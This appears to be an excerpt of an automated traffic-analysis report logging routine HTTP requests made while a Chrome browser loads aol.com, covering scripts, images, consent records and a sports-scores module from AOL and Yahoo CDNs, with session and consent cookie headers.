Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-image-1.4.0.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-module-2.0.0.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-text-1.2.0.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-beacon-1.3.4.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-fetch-1.19.1.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/video_player_wafer.87b49b05fdd1e271.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/dispatcher.37c5e1a2f6118a29.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-bind-1.1.3.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ss/analytics3.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /os/yaft/yaft-0.3.29.min.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/special_event.0ca9668537635e40.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/notification_banner.e004617c8ef3480b.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/gam.f2ab6f1f63daee3b.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/taboola.d258f55a4ca48b0c.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/dl.2b4ff7c6e37d4dcc.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/recipe_search.664354b5a7ea43bf.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /version/6.4.1/cmp.js HTTP/1.1Host: consent.cmp.oath.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /oa/consent.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/consentRecord?consentTypes=iab%2CiabCCPA%2Cgpp%2CgppSid HTTP/1.1Host: guce.aol.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.aol.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/yahoo_sports_scores.6585265e1656bea4.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/stream.7efb85c8f2ce352d.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/finance_banner.4c2b64bc7666579b.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/y_finance_markets.e005fe8327df316b.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/trivia_games.591eb330cf391997.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/newsletter_signup.f9a1163a73b0919b.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/aolfp/images/weather/small/28-mostly-cloudy-day.svg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/aolfp/images/weather/small/27-mostly-cloudy-night.svg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2023-07%2Fb1f2c370-2fe4-11ee-af3f-3bc97f9dc4f0&client=76f99bdb8f78cd44cc0b&signature=a92fd85ac9aa663af76ca1d3946fd8c5faa7f639 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2023-07%2F64f4c710-1cd1-11ee-a4ff-74225ffec8bb&client=76f99bdb8f78cd44cc0b&signature=c29cea20723b38471dd5671b7aded44c5500be24 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2020-11%2Fa2258160-2b7f-11eb-bbe3-c5a6dfd56406&client=76f99bdb8f78cd44cc0b&signature=668467e7d91ff5dccf4279760f0d614d88addd13 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-07%2F3c019bd0-ee43-11eb-bced-b4b62d80677d&client=76f99bdb8f78cd44cc0b&signature=ce40ac0abc26ce89b2b3a45dd92d42a44233b73e HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/aolfp/images/weather/large/AccuWeather_2.svg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2021-09%2F7bc91ad0-1009-11ec-bfea-2182b7e056ce&client=76f99bdb8f78cd44cc0b&signature=288593dd0d822231ec18e08bd43dabcce5aeea31 HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/consentRecord?consentTypes=iab%2CiabCCPA%2Cgpp%2CgppSid HTTP/1.1Host: guce.aol.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/weather.3d67f0f30b8148ec.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /nex/modules/yahoo_sports_scores/v1/?isXHR=true&m_mode=json HTTP/1.1Host: www.aol.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/aolfp/images/weather/small/28-mostly-cloudy-day.svg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/aolfp/images/weather/small/27-mostly-cloudy-night.svg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/dims?thumbnail=16%2C16%2Cauto&image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2023-07%2Fb1f2c370-2fe4-11ee-af3f-3bc97f9dc4f0&client=76f99bdb8f78cd44cc0b&signature=a92fd85ac9aa663af76ca1d3946fd8c5faa7f639 HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/news.0860907304e595d6.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
